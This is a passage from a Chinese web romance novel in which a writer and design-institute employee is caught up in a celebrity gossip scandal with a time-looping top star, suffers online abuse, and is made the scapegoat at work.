许夭夭慌忙摆手,“不是,刚才那个方有知是几个月前我妈的一个朋友介绍的,非让我去见,当时我们还不认识,而且我当场就拒绝他了。”
慌乱中的许夭夭连语速都加快了,解释完突觉自己有些过甚其辞,下意识的扣了扣手,看向窗外。
摘了墨镜的念星辰垂眸微动,眼底似有微不可见的灼灼烈焰,“逗你的,不过你要是去相亲这种的可不行。”
被对方揶揄,许夭夭缓缓吐出一口气,逐渐放松下来。
这时念星辰的手机突然响起。
“知道了……好,好的。”
非常简略的言语,听不出任何情绪或内容,但是接完电话他就面色严肃的翻看消息,周身的空气仿佛在慢慢凝滞。
“怎么了?”许夭夭眼中透露出关心。
念星辰未抬头,气息依旧沉稳,“没什么,工作的事情。”
许夭夭刚想接着问,自己的手机又响了。
“喂妈……还说呢你怎么回事,怎么跟方有知说我住在哪……”车内落针可闻的环境让她不由自主的压低了嗓音,即便如此依旧是非常清晰的吐字,只是此刻念星辰正襟危坐,蹙眉,专注于手机,许夭夭的话被屏蔽在结界之外。
“爷爷?不严重吧?……早上那会儿没听到,好……你和爸也按时吃饭。”
小时候爸爸妈妈总是很忙,许夭夭经常住在爷爷家,爷爷两个孩子,一儿一女,小姑年轻的时候去了国外不常回来也没结婚,所以孙子辈只有许夭夭这一个宝贝疙瘩,虽然年幼的许夭夭缺失了很多父母的照顾,得到的爱却一点也不少。
大约两人都心事重重,饭吃的沉默且迅速,一顿烤肉吃出了盒饭的速度,甚至有几块许夭夭填嘴里的感觉还有血腥味。
“不好意思……”
“不好意思……”
两人同时开口。
”你先说,”念星辰示意对方。
“原本是想晚点走的,但是家里有点事,等会儿我就直接去坐车回家了。”
“正好,我也有事要忙,等会儿先送你去车站。”
“不用不用,你先忙,我打车就好,也不远。”
沉郁良久的脸上浮现一丝温柔之色,“又跟我客气了。”
“不是……”
“不是,那是什么?”念星辰挑眉,手指轻轻摩挲着质朴的茶杯,直视的眼神带着难以抗拒的魔力。
满打满算两人认识一个多月,许夭夭仔细回忆初见时的情景,不能说是温润如玉吧,也没这么直击灵魂。
“好,那麻烦你了。”
听到麻烦二字,撤回的眼神再次发射。
许夭夭连忙笑着改口,“我的荣幸我的荣幸。”
饭未完全结束,念星辰的手机再次响起。
“念哥,你回来了没,悦姐一直在这发飙呢,我快扛不住了……”
“这就回。”
方才一直往嘴里塞肉的许夭夭正好瞥见来电显示,“周荡这么着急是不是片场有什么事情,不然一会儿不用……”
“吃好了吗?”
许夭夭点头。
“那走吧。”
分别的时候,念星辰突然把自己的帽子和围巾给了许夭夭,并且很细心的帮她围好,虽然气温是有些低,但是里三层外三层的许夭夭并未觉得冷。
对于此举,她虽疑惑,但还是欣然接受了,帽子和围巾上带着很淡很淡的松木香,感觉很亲切,羊绒毛线轻柔的裹挟,让许夭夭联想到那双骨节分明的手,兀的耳朵一阵发热。
饱睡之后的下午许夭夭精神奕奕,坐在火车上完成了早上余下的所有工作对接,还跟编辑讨论了新书的选题定位和正在写作中的一些内容问题,效率高的出奇。
节假日,人满为患的二等座,小孩的哭闹声手机公放视频的声音对她没有丝毫影响。
只是一直戴着帽子围巾热出一身汗,也不知道念星辰怎么系的,半天没扯掉干脆从头上撸下来,手没拿稳,围巾甩到了前座。
前座是个女孩子,许夭夭站起来道歉,对方看到她好似发现了什么似的,楞楞地半天才回魂,搞得许夭夭有点莫名其妙的。
虽是下午上车,到申城已然傍晚,花灯初上,许夭夭顾不上回家放包就直奔医院。住院部的走廊静悄悄的,只有几近尽头的十病房刚好出来三两个人。
看到爸妈的身影,许夭夭快步走过去。
“爸妈,爷爷怎么样了?”
穿着深灰色中山装外套的许爸爸看到她,沉闷的脸色微微舒展几分,“夭夭回来了,路上累不累。”
“不累,爷爷怎么突然被撞了,怎么回事啊?”
“路上被一个小三轮车刮倒了,不严重,别担心。”
双人病房,靠窗的床上鬓角雪白的老人正双腿笔直,靠着枕头半坐着剥橘子,沟壑崎岖的双手虽麻溜却有些颤抖,看到许夭夭进来,半阖的双目由沉潭变为激流。
”乖孙儿来啦!来来吃橘子。”
“爷爷您没事吧。”
“没事没事,就是摔了一跤,年纪大了眼神不好使。”
许夭夭坐在床边看了看纱布里三层外三层的小腿,“爷爷疼不疼?”
“不疼不疼,一点事儿没有,爷爷身子骨硬着呢,这点小伤,当年在部队那是家常便饭。”
“爷爷……”
东拉西扯了半天,爷爷开始催促她回家休息。
许夭夭突然觉得氛围有些不对,她转头望了一眼沉默不语的妈妈,刚好四目对视,许夭夭下意识的干笑,“妈,你怎么不说话呀?!”
“我说什么!你为了拒绝人家方有知,也不知道从哪弄了个演员出来!在那扮演什么男朋友!”
演员俩字吓得许夭夭一激灵,难道被方有知认出来了,刚想开口辩驳,双手抱臂面色阴沉的许妈妈又似机关枪似的开口,“人家小方哪点不好,老实踏实上进对你又关怀备至的,工作稳定对长辈孝顺,你这要是错过了,后面打着灯笼都不好找。”
“孩子大了她自己有主意,咱也不能强求。”许爸爸见缝插针的帮腔。
“她是有主意,她主意大着呢,都知道找人糊弄我们了。”
看似不像知道什么,许夭夭微微松扣气,不过,知道方有知爱告状,但也没想到告的又快又全面。
爷爷又剥了一个橘子,连白丝都摘得很干净,递给许夭夭,“乖孙儿你是不是有男朋友了?”
许夭夭瘪嘴叹气,“没有,爷爷您也跟着我妈瞎胡闹。”
“刚你妈妈不是说找了个演员男朋友吗?”
”您听岔了!她说我找挡箭牌糊弄她。”
老头推了推脸上的老花镜,“唉,不管啥样的,我乖孙儿喜欢最重要。”
“光喜欢能当饭吃吗,感情是可以慢慢培养的,责任担
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当教养经济条件这些才是重要的……”
许妈妈是小学语文老师,也是受到了出口成章上纲上线的熏陶,所以许夭夭从小写文章就丝滑,但同样的耳朵也跟锈了似的,油盐不进。
也幸好双人的病房只有他们一家,滔滔不绝的许妈妈对牛弹琴一通,气不打一处来干脆回家去了。
许爸爸请了护工守夜,天色略晚,爷爷也催促他们回家休息了。
走到半路许夭夭突觉有些累,为了避免回家争吵就说晚上想去陪奶奶,许爸看出了她的心思也未多说什么。
爷爷奶奶家在另一片老城区,昏黄逼仄的巷子,却有大大的院子。这一带的房子都是上世纪建的红砖房,街坊邻居大多是同一个大院里的,几经岁月,许多已经成了空房,但经历过老社区改造,整洁安静的街道透着几分古拙的气韵。
这里的犄角旮旯都残留着许夭夭童年的记忆,她熟悉的绕过黑不隆咚的小道,进入满是盆栽的院子。
已经晚上将近八点,许夭夭饿的肚子敲锣打鼓的。
嘎吱的开门声惊动了厨房里系着围裙厨房忙活的奶奶,见到许夭夭,头发花白的老太太一脸慈爱,”夭夭回来啦,怎么就你自己,你爸妈呢?”
“他俩说有事,先不来了。”许夭夭表情有些丧。
自从当上牛马转陀螺除了过年过节,许夭夭就很少来爷爷奶奶家了,不过姜辞晚住的离这里很近,倒是经常过来,老少通吃的姜辞晚甚得这片老头老太太的喜爱。
“奶奶,爷爷他没事,您别担心啊。”
老式的房子并未有严格意义上的客厅餐厅,老旧的沙旁边就放着长条的松木桌子,因年代久远已经磕磕碰碰出许多豁口,但桌上的饭菜确是新鲜热乎的勾人肠胃。
许夭夭刚坐下,奶奶又端了一盘青菜出来,”我才不担心老头子,老了老了一把硬骨头,哪天我摔没了他都不一定有事。”
“奶奶,您瞎说什么呢!”
“夭夭,白天小姜拿了好些补养品过来,本来是喊她明天来这边一起吃饭,这不老头子出幺蛾子,明天团圆饭是泡汤了,正好你这会儿回来了,要不问问她吃了吗喊她一起过来吃。”
姜辞晚的父母都长居国外,亲缘寡淡,她从小跟着姥姥长大的,后来姥姥去世了,就一直一个人住。在外人看来好似孤苦伶仃有些可怜,但只有许夭夭知道她一天到晚过的有多精彩。
“行,我问问她。”
结果还不等许夭夭发问,姜辞晚的电话打过来了。
“出差回来了没?”
“我在奶奶家,吃了没,过来吃饭。”
“我吃过了,不过可以再吃一顿,等我,十五分钟。”
果然十五分钟后,身穿灰棕色皮草,长发微卷,一脸全妆的精致女生风尘仆仆的推门而入,“奶奶——”,不过比脸和声音先到的是压过饭菜香的香水味。
正筷子夹肉的许夭夭下意识的后仰,“从你家过来不过五分钟,我脸这么大需要你盛装打扮了来。”
姜辞晚把外套脱了放在沙发上,“什么盛装,跟别人约饭才回来。”
“你跟别人约饭这么早就回?”
“约的中午饭。”
“??”
“小姜来啦,”许奶奶看到她眉眼间也全是慈爱。
“奶奶您做了这么多好吃的呀,巷子口我都闻到香味了!就馋您这一手。”大约是常来常往的缘故,姜辞晚上桌吃饭的熟练程度比许夭夭这真孙女还麻溜。
“对了,今天中午的热搜你看到了吗?”
“我对娱乐八卦不感兴趣。”
“万年寡男念无一被人拍到跟女生在汤泉会所约会,热搜直接爆了。”
12. 热搜吧
刚吃了一块带鱼的许夭夭被鱼刺卡住,干咳了半天,脸憋的通红,又喝了半碗醋才勉强顺下去。
刚准备滔滔不绝的姜辞晚看到她的反应,眼神多了几分考究,“不就是被无良狗仔拿来做文章了吗?你至于这么大反应吗?我看到的时候差点要笑出声。”说罢她点开手机翻了翻递给许夭夭。
硕大的标题,顶流男明星与神秘女生共浴……
画面中是前几天出差在汤泉会所刚碰到念星辰的场景,许夭夭手里拿着水果,穿着会所的短袖短裤,头发凌乱,虽然远距离拍的脸不甚清晰,但看得出整个人潦草的很,站在挺拔流畅的念星辰旁边像一个丑小鸭。
那天晚上最劲爆应该不是这个场景吧,她慌张的翻了翻,幸好没有帐篷里的……
“不过这个狗仔这真是的,为了制造流量简直不择手段!有必要把你拍着这么难看吗?我都看不下去了。”姜辞晚边吃边愤愤不平。
许夭夭顺着那篇帖子继续往下翻了翻,后面居然还有房车的照片,她手撑开窗户,漆黑的夜里她的脸像带了荧光剂,清晰无比。许夭夭恍然惊觉,难怪那天晚上感觉远处忽闪忽闪的……
姜辞晚拿回手机,“哟,还有新图,这个中午没看到!许夭夭你真是胆子大了啊!这么大的事都不告诉我了!”
原本就有点作贼心虚的许夭夭被这些照片扎了一刀又一刀,她这心忽冷忽热的,想到念星辰那些直白的言语和姜辞晚从小追星的劲头,“我……我不是故意瞒你……我们……”
卷翘的眼睫毛冲许夭夭眨巴眨巴,慵懒的妩媚渐渐消失,眼神如利剑一般,半刻之后佯装生气,“还说你俩不熟!!上次问你签名的事,你是不是就没放在心上!”
“上次是真忘了,我的问题,”许夭夭赶紧认错。
“你这算是出名了,只是没想到你这人比自己写书先一步出名。”
许夭夭苍白的感情史姜辞晚一清二楚,她根本不会联想到谈恋爱的事情,何况去剧本围读还是她说服许夭夭去的,认识男主并未有任何不妥,她好奇的是一向不善交际的许夭夭突然跟陌生人拉近了距离。
“还有,你俩到底怎么就这么熟了!你也太不敏感了,被人拍了都不知道!”
看她的神态,许夭夭断定她还没看出事情的全部,不禁悄悄松口气,不过这么大的事情,念星辰应该知道了吧。
此时剧组房车。
一个身穿精致羊绒外套,齐肩直发的职业女性在此刻略显拥挤的车厢里来回踱步,看不出年龄,涂了红色指甲油的纤细手指在手机屏幕上翻飞跳跃。
“小辰你是不是故意的!以你的个性不应该出这么大的纰漏,从你让项导把这个原书作者叫来围读我就觉得奇怪,想不到你搁这摆一道呢,你要谈恋爱我不拦你,但是你得告诉我,事有轻重缓急!现在解约的关键时间点,整这么大个热搜你有意思吗?!要是因为这事影响商务,后面合约不好谈,咱俩都吃不了兜着!”她越说越气,干脆一屁股坐在沙发椅上。
对面坐着的是未卸妆,略带慵懒的念星辰,和规规矩矩板板正正一动不敢动的周荡。
周荡余光扫了一眼两人,嗫嘘道:悦姐别生气了,念哥他也不想上热搜的嘛……”
“他不想倒是别上啊!自己做事从来不管不顾!前些年的事忘的一干二净了吗!”
因为经历了无数次的循环,五六年前的事情似乎已经是上个世纪的事了,慢慢的在念星辰的脑海里有些模糊,当时他是为了救人,还受了伤,老旧的档案馆无缘无故起火到后来一直也没查明原因,有人黑他精神失常,花了很大代价才压下去黑热搜。
只不过前面所有的循环中跟他传出绯闻的一直是赵君君,因为绯闻导致了许多资源的更迭,对赌失败和解约失败,他不得不续约继续当牛做马,但这次只字未提赵君君……
念星辰心事重重的翻弄手机,思绪沉浸在所有循环中寻找盲点,钱悦的话他半个字也没听进去。
钱悦是念星辰的经纪人,从他18岁成年出道到现在,兢兢业业尽职尽责的干了十几年,也从那个籍籍无名的小经济,变成了现在金牌经纪人。
钱悦念叨了半天,见念星辰依旧无动于衷,最后妥协,”这件事你别管了,安心拍戏,毕竟是费尽心机挤掉别人拿来的角色,这部戏也是离谱,你一来女一女二都换了,不是什么好兆头。”
“吴兮是我跟项导推荐的,赵君君不是你们安排的吗?”
“我可没安排,说了很多遍了。”钱悦非常不悦的白他一眼。
这几年公司一直背着他背地里搞小动作,炒cp,假合同,控评,各种商务酒局,明里暗里让他带新人,他知道的不知道一大堆,正因如此他曾经感恩的托举变成了死也要逃离的牢笼。
窝在沙发上的念星辰还在持续翻看网上不断发酵的舆论。
「这身材这颜值,我都看不上,我念哥能看上?」
「这女的长得跟五花肉成精似的,不知道的还以为猪站起来了……」
「一看就是普女硬贴,现在的私生都这么疯狂了吗!!啊啊啊!!」
「万万没想到啊,顶流都玩的这么花!会不会还有更多爆料」
「你们忘了吗,之前说念星辰有精神病……」
「作为一名合格的北极星,天塌了,我念哥可是洁身自好零绯闻的,怎么感觉这次的爆料有点真……」
「不信谣不传谣,支持念星辰!」
良久,念星辰突然站起来,“这件事你们先别管了,我另有安排。”
是的,这么多次的循环终于出现了前所未有的破绽,避无可避的赵君君换成了许夭夭,虽然好坏未知,但至少已经有所不同。
他拨通了一个名为x的号码,对方秒接,“需要你帮忙。”
几分钟后刘海来敲车门,说是一会儿要继续拍摄了。夜戏连续拍摄三天,白天还要空出时间搭建场景,现场的工作人员一个个都无精打采的。
作为戏份最重的女主角,吴兮的神经状态比念星辰还要好一些,一场连贯的打戏拍下来,丝毫不见疲态。
等待间隙,念星辰上前跟吴兮搭话,“这个角色你演的比我想的好。”
吴兮高傲的脸上难得多了几分温柔,“那还多亏你推荐,还未正式谢谢你。”
“自己人,客气什么。”
“听说你跟咱们原书作者传绯闻了?”吴兮精雕细琢的面容浮现一丝打趣的神情。
念星辰把
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手里的道具剑往地上一戳,“我记得粉丝好像还磕过咱俩,叫什么星星相兮,不知道为什么这个话题就没了。”
吴兮歪头一笑,“咱俩的cp是不可能火起来的,咱俩公司不对付。”
念星辰未笑,只是有些神色游离。
晚上送走了八卦的姜辞晚,许夭夭躺在床上辗转反侧,她没告诉姜辞晚关于念星辰跟她表白的惊天大瓜,以姜辞晚的性格要是知道了这件事,今晚怕是不走了,那必然是连细节都不会放过的刨根问底。
她不知道要怎么跟她描述目前的状态,虽然念星辰无论言语行为还是脸都无懈可击,但直觉告诉他这不是全貌,她控制不住自己的内心,但又理智的退缩。
热搜爆了一晚上,那些骂她的话只要一闭上眼就在脑海浮现,虽然从小到大她不爱出头只喜欢当鸵鸟,但是成绩优秀就连老师也没说过重话,现在托念星辰的福,成了众矢之的,那些花里胡哨的词她都没听过……她要睡觉了还没联系上念星辰。
“夭夭啊,晚上冷不冷,要不奶奶再给你拿床被子。”古旧的格子窗印出奶奶蹒跚的身影,贴着窗户有些小心翼翼的。
“奶奶不用啦,不冷。”
上世纪的老房子墙体薄,连门窗都自带通透,虽然爸爸给家里买了电暖器,但是老两口生活节俭,也只有许夭夭来的时候才会用。
许夭夭住的卧室窗户正对着一棵杜英树,久经岁月枝繁叶茂,记录者年复一年的行人与故事。她躺在床上,望着窗外晃动的树影,脑海里突然蹦出很多小时候的情景,她和一群小伙伴在周围的巷子里追逐打闹,她穿着花褂子,有一个稍显年长的小男孩挡住她的去路,还发生了争执,那些情景和人脸都很陌生,但这些画面却像烙在脑子里的,像被按了解锁键一样突然激发。
她想了很久也想不起那些人是谁,那样的情景究竟发生了什么。
困意袭卷,不知过了多久,许夭夭睡着了。
睡梦中依然是那个看不清脸的小男孩,比比划划的,两人说是争执吧又不太像。
日上三竿,许夭夭被巷子里来来回回按喇叭的电瓶车吵醒。
阳光倾泻,手机铃声也犹如报时鸟一般,清澈的传进许夭夭的耳朵。
但电话那头的消息却不怎么悦耳,王胖子声音浑厚,有些急躁和气愤的质问许夭夭,嫌弃她电话打了五遍才打通。
“王哥你先别急,文件我发给赵蜜了,等会儿我再问问。”
挂了电话一看时间居然快下午一点了,睡了13个小时,上次围着表睡一圈还是大学的时候。
又渴又饿又憋。
奶奶不在家,两面都是窗户的客厅已经被阳光穿透,桌子上用碗碟盖了两个菜,杯子下面还压了一张纸条。
「我去医院看老头子,饭凉了自己热热,年纪大了不要跟爸妈置气」
奶奶娟秀可爱的字后面还画了个笑脸,许夭夭不由得勾起嘴角,昨晚奶奶虽然听到了她和姜辞晚关于相亲的讨论,估计也是一知半解的。
只是置气俩字又把她拉回现实。
手机上有好几条念星辰的消息。
凌晨三点左右回的。
让许夭夭不要担心被拍的事情,他会处理。
13. 天塌了
跟念星辰一样许夭夭是一个不爱手机聊天的人,她甚至不爱刷手机,在这个信息过载的社会已经不多见。
所以也是她过于相信念星辰了,晚上从医院回家再打开电脑的时候她唯一对外的社交账号已经沦陷了,原本这个账号是为了写书应编辑要求开的,上面其实没什么内容,只有一些看书心得和文章推荐。
评论区已经全是骂评,但她不明白热搜的事情跟她的文章有什么关系呢?
而且许多离谱的评论她甚至看不懂。
「你好胖!丑八怪」「你是猪吗滚出地球」……
看了几条直接给许夭夭看笑了,乍一看以为电脑中病毒了。但过由于过高的热度把她另外一篇文直接推上了热搜。
“夭夭,网上那些乱七八糟的评论你别往心里去啊,都是些无脑喷子,真是气死我了,这个念无一也真是的,他这公关团队该换了!我要粉转黑了!”姜辞晚愤恨的电话也如期而至。
但,更糟糕的远不止于此。
密林项目黄了。
明天原本是假期的最后一天,院里紧急加班开会。
本就事情一大堆的许夭夭根本顾不上网上无关痛痒的…几万条骂评……
今年的春节比往年都要早一些,一月二十就是除夕,也就是还有半个多月就过年了,这个时间段正是各个项目总结辉煌再创辉煌的日子,而密林这个项目计划打造成明年的标杆,却毫无征兆的黄了。
许夭夭是最后去出差对接的人。
九点开会,许夭夭八点四十到单位的时候,已经来了很多人了,整层的开敞办公区大家三三两两凑在一起窃窃私语,路过其他组刚好听到在讨论项目回款的事情,气氛透着一股莫名的压抑。
赵蜜和小刘看到她立马凑过来,“夭姐,密林这个项目很诡异啊,不会让我们组背锅吧?”
许夭夭把手提布包放到桌上,打开电脑,“也不是没可能,这个项目自始至终都没衔接好,前面团队一锅端了,没头没脑的塞给我们组,能接就已经很对得起他们了。”
“但是!”小刘仿佛听到了什么大消息,突然压低声音,“密林的项目两期,虽然一期做很久了,但好像合同还没过。”
“那不扯淡吗!”赵蜜突然咋呼一声,察觉自己声音过高,又低头缩了缩,“王胖子怎么净接这种事,有没有脑子!”
“就算他有脑子,我们这种边缘小组不是最适合背锅吗,对了,王胖子今天没来吗?”
“来了,刚才跟着所长一起去副院长办公室了,挺奇怪的,副院长来了,而且别的组长没去,他去干什么,好像还有别的所长和分公司的人,感觉事情不太妙。”
“那完了,这事儿咱们组顶锅没跑了,年终奖要泡汤,一会儿怕是开要批斗大会,”虽然类似的事情不多见,但在这瞬息万变的设计院许夭夭也见怪不怪。
赵蜜耸耸肩,”等着呗,不过我最近还听了一些八卦……”
这时人事总监路过,赵蜜眼尖的闭嘴,跟在总监背后的林小晓一直冲许夭夭挤眉弄眼的,甚是奇怪。
一直等到十点,会议仍未进行,乌泱泱的办公室已经安静的只剩鼠标和键盘的声音,设计院的牛马就是踏实,大家本着都来了就默默的加起了班,但此刻的宁静仿佛是在积聚什么能量,等待爆炸的那一刻。
“领导是不是骗咱们来加班的?”工资三千五的小孙抓了抓东倒西歪的发型,年纪轻轻的发际线却已经开始离家出走了。
赵蜜噗嗤一声,“平时多吃点坚果吧你,既补脑又保头发。”
终于十点一刻,公司大群通知,所有在公司的人去大会议室。
大会议室平时惯常用来搞讲座和举行活动,所以里面的座椅也都七零八落摆放的十分随意,大家鱼贯而入,带着一些低语声。
这种氛围都是业绩好的往前坐,但许夭夭他们总是习惯性坐后排,坐在后面的好处就是刷手机方便,交头接耳方便,进出更方便。
不出片刻,从不出现的副院长拿着话筒进来,先是莫名寒暄了五分钟,讲了讲大家辛苦的一年,接着开始说各个有头有脸的大项目进程,中间有几次叽叽喳喳的讨论声,但许夭夭从来不听这些,等她回魂的时候已经是一两百双眼睛齐刷刷的望向她。
坐在旁边的赵蜜推了推她,压着嗓子挤出几个字,”完了夭姐,拿你祭天了……”
前一秒还在手机上改小说bug的许夭夭,根本不知道发生了什么。
下一秒她听到副院长意味深长的说:“看来小许也意识到自己的过失和不足了,不过年轻人容错机会多,是坎儿也是成长。”
错过了整个过程的许夭夭,茫然且尴尬的环顾两边,她从左右护法的眼神中看到了“天塌了”。
确实,天塌了。
会后人事经理找她谈话,大概的意思就是密林项目因为她玩忽职守才黄的,她负全责,还有几项其他事故干脆也推给她了,总结到最后就是年终奖不但没有还得倒贴,院里处于人道主义考量,给降薪处置,降到基础工资,比三千五的小孙还不如,并且配合公司贷款填补亏空……
人事总监吕欣是个中长发的中年女性,穿着跟年龄不太相符的花哨服饰,她叽里呱啦说了一大堆,许夭夭感觉不像是跟自己说的,话听着非常旁观。
密林是院长牵头的大项目,几个部门同时协作,干了一年半载,但由于前负责人带着队员跳槽了,他们只是暂时顶上,先不说这事儿跟他们有没有关系,玩忽职守何出此言?
人事总监拿出手机,翻到了昨天的热搜照片,古朴的餐厅门厅,许夭夭正对着旁边一张帅脸眉开眼笑,这是她和念星辰吃完饭道别,念星辰摘墨镜的那一刻被定格,是他们刚认识那天晚上,酒店附近的餐厅,昨天还没看到这张……况且她怎么不记得念星辰摘过墨镜……
“所以,公司这么重要的项目,你去追星,算不算玩忽职守?!”
许夭夭简直气到想笑,这都什么跟什么……
什么时候公司的领导开始关注娱乐八卦了!照片明显是晚上,非工作时间,再说这事儿跟项目黄了又有什么关系,而且她一个小喽啰能有这么大影响?这一天一夜许夭夭感觉过的比她写的玄幻剧精彩。
后面任凭许夭夭如何解释,人事总监像个人机一样只输出,半个字都听不进去。
想到从实习开始就在设计院,因为优秀的工作能力提前入职,兢兢业业五六年,脏活累活干了无数,当初规划二组组长原本是她的,却突然空降了个王阔……许夭夭越想越气,恨不得马上就要跟陈所和王胖子对峙。
但巧的是她从人事办公室出来的时候,王胖子并不在,陈所办公室也锁门了,甚至院长也不在,短短一会儿的功夫……他们跟约好了一样。
因为会开的非常不愉快,开敞办公区跟炸锅一样,他们看许夭夭的眼神有些异样。
见她回来,赵蜜立马神色严肃的凑过来,“夭姐你看公司新发的公告。”
许夭夭立马打开公司邮箱,寥寥几行字,大概意思是本年度所有未完结项目回款不理想,且有项目需赔偿,特提了密林,所有人的年终奖都没了,且要求所有人签署降薪协议。
难怪扫向她的目光带着不善,感情她成了别人拿不到年终奖工资还打折的罪魁祸首。
“夭姐,刚人事找你也是这个事吗,除了你人事还找了其他组的组长,这也太离谱了,刚我在茶水间听到财务俩女生讨论说咱们院长卷钱跑了,太离谱了……”
许夭夭沉思两秒径直去了副院长办公室。
副院长本是个挂职,甚少出现,也没听说参与哪个项目,许夭夭只记得在每年年会的时候会有这么一号人。<
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许夭夭到办公室门口的时候,地中海泾渭分明的副院长手里拿着外套和皮包正欲锁门离开,他见到许夭夭并不意外。
许夭夭还是第一次跟副院长说话,她一着急,也有些词不达意,想要质问,却又问不出口。
副院长的眼神比方才开会的时候和善了许多,甚至还有些歉意,“小许啊,刚刚会上也说了你们还年轻,就当是多些磨砺。”说罢他从口袋里掏出一张名片递给她。
“这是我侄女的名片,她惜才的很,若以后跳槽不妨联系看看。”
许夭夭不了解副院长,更不理解他当下的行为,但还是木讷的接过名片,名片上“苏物”俩字比烫金的印漆还闪耀。
虽没得到任何答案,许夭夭还是觉得设计院这灭人性的操作,肯定是发生了什么大事,今天人事和财务来的这么齐就离谱,她从绕过工位区,到前台。
穿着包臀裙的林小晓正窝在桌子底下涂口红,“都没人了还补什么妆!”
见来人是她,林小晓慢悠悠的收起口红,“哟,大红人,怎么现在想到我了?”
“我真冤死了,到底怎么回事!”许夭夭习惯性的蹲下,一米多高的前台柜完全遮挡了两人龟缩的身影。
从林小晓口中听到的八卦确实超出许夭夭的意料。
因为院长真的卷钱跑了,有五个项目同时出了事故,有个项目死了人,这些都是院长牵头外包出去的,盖了院里的章,因为今年效益确实不好,工程项目款全卡死了,听说今天开会是因为明天会有人上门催债,领导们可能要躲躲……
“所以为什么背锅的是我?”许夭夭强压心中怒火。
“再告诉你个秘密,我们部门老大欣总是念无一死忠粉,她追好多年了还没见上真人呢,你好死不死的追个星还追上热搜了,是我我也生气!”
许夭夭再次被气笑,“我没追星……”
“你别跟我说是偶遇哈!不然我真的会生气!”
“那我说他来偶遇我你不生气吧?”
林小晓伸手捶了许夭夭一拳,“滚一边去,是他眼瞎还是我眼瞎!”
“可能是他眼瞎吧,”许夭夭幽幽的叹了口气。
“不过你也别慌,现在顶锅的不止你一个,没看到有几个组长也被拉去谈话了吗?”
“王胖子为什么没事?”
“你是猪啊,王阔明显跟他们一伙的。”
在密林这个项目中许夭夭可能是最无关紧要的一个人,甚至所有项目中她也不过是个可有可无的小喽啰,今日的大会话挑轻的说,柿子专拣软的捏。
今天的阳光似乎格外刺眼,中午许夭夭在离公司不远的餐饮店买了两个汉堡,吃着吃着就有些心酸,那些汹涌澎湃的委屈像热浪一般充斥了整个胸腔,工作这几年她半夜在工地上被狗追都没哭过,但此刻泪水决堤一般啪嗒啪嗒滴在包汉堡的油纸上。
直到被念星辰的电话打断。
“喂……”厚重的鼻音。
“怎么了夭夭?”大约是听到对方的声音不对,念星辰的语气放缓了几分。
“没事呢。”
“是不是热搜的事情,这件事今天就可以处理好,都怪我大意了,原本不应该是这样的,我可以跟你解释,你要听我的解释吗?”
听着对方关切的语调,许夭夭轻飘飘的回了个好,只是这个好字仿佛冲破了内心的克制,她干脆抽泣起来。
她一哭电话那头的念星辰有些慌,视频打了过来。
许夭夭挂断,压制了许久的情绪终究是如洪浪过境,站在路沿石上的许夭夭边哭边蹲了下去。
念星辰持续打了三四个电话,都被许夭夭挂断了。
几分钟后许夭夭回复:我没事,就是有点累。
念星辰:明天有商务拍摄要到申城,晚上我来找你可以吗?
14. 喝酒吧
在路边吹了一会儿冷风,许夭夭的情绪已经平复很多,手里没吃完的汉堡已经完全凉透。恰巧此时一只长着黑色齐刘海的杂色流浪猫路过,竖着尾巴跳到她身边,喵喵喵一直蹭她的小腿。
许夭夭把汉堡里的鸡肉抠出来放在地上,小猫蹲下慢条斯理的吃起来,一人一猫一起吃完了剩余的汉堡。
猫咪眼中的世界应该是简单快乐的吧,许夭夭摆手跟齐刘海小猫告别,但忙于梳理毛发的齐刘海只是敷衍的喵了一声。
因为今天还是假期,很多同事开完会中午就回去了,此刻的办公室寂静的落针可闻。
下午,王胖子的手机依旧关机,许夭夭终于打通了消失的陈所的电话,陈所先是安慰了她一番,只是说辞毫无感情色彩,原本许夭夭有一肚子控诉的话,但她想明白了事情的因果反而没那么想争论了,何况以她对公司的了解,既然发出了公告说明他们已经做出了决定。
但谈还是要谈的,他们都知道公司发生的事情跟许夭夭没有任何关系,她不过是个顶包的,降薪她是万万不能接受的,不但不能降薪,她还要休假。想到上班这些年她跟拼命陀螺似的,法定节假日都没休全过,更别说是年假这一类。
出奇的是,陈所并未细究,直接同意了她休假到年后的申请,许夭夭一肚子的腹稿一点没用上,只是降薪问题陈所并未明确答复。
软趴了几年的许夭夭还是头一次这么硬气。
但打工牛马的基因作祟,她还是等到下班打卡才离开单位。
回家后家里无人,大概爸妈都在医院,许夭夭习惯性的打开电脑,想看看血流成河的舆论有没有问候她祖宗十八代,但正如念星辰所说,之前那些热爆的词条基本都销声匿迹了,倒是有另外的热搜顶上来了。
#吴兮片场扇赵君君
#将军冢片场氛围
#林牧之赵君君等聚餐
#当年的大火
#爆八位数顶流明星隐婚生子
‘当年的大火’这个词条在一众八卦娱乐中显得格外突兀,许夭夭好奇的点开。很多人在讨论五六年前档案馆失火的事情,主角还是念星辰,难怪围读的时候听到别人讨论他受伤,难道是那时候受伤的。
许夭夭爬楼看了很多帖子,众说纷纭,还有人说念星辰放火,但事实肯定并非如此,否则他一个公众人物怎么还会在大众视线里蹦跶。
看的聚精会神的时候手机叮咚两声,跳出姜辞晚的消息。
姜辞晚:巷子口烧烤走不走?
许夭夭:今天没在奶奶家。
姜辞晚:那你过来呗,又不远,接着吃瓜。
许夭夭:那是瓜吗,是我的血泪!
姜辞晚:你别说今天你的血泪已经基本清零了,还得是我的无一男神,兵贵神速。
许夭夭:昨天你还骂他不作为呢。
姜辞晚:我有吗?(星星眼)
许夭夭:对了,你关注念无一这么久,知道他以前受伤的事情吗?
姜辞晚:还有我不知道的事儿?
许夭夭:烧烤还吃吗?
姜辞晚:速度,限你二十分钟达到现场。
晚上七点半,路灯忽闪的巷子口拐角,一家名叫九场的烧烤店,九场俩字已经坏的只剩九土,之所以叫九场是因为只有九桌。木制门框,挂着俩破旧的灯笼,店里还卖一些杂货,门口摆着烧烤炉子,门口的空地上放了四张小方桌和许多小木凳,在许夭夭的记忆中这家烧烤店一直都有,已经不记得开了多少年。
因为店面小,来的人不多,但很固定,上学的时候他们一帮小伙伴经常来,只是走向社会后,各自散落天涯,这破旧的烧烤摊也变成了回忆,只有她和姜辞晚逢年过节会来。
取暖的火炉仿佛给方圆三十米的范围增加了温度,俩壮汉穿着薄薄的单衣,坐着埋没不可见的小板凳正吃的热火朝天。
许夭夭到的时候,姜辞晚正裹着衣领坐在火炉附近的小方桌旁吃毛豆,琥珀色的猫眼指甲轻轻夹起一颗,快速吸走豆扔掉,动作娴熟且嫌弃。
“你就不能用个筷子吗?”带着一身寒气而来的许夭夭引得火炉中高升的焰苗左右摇摆。
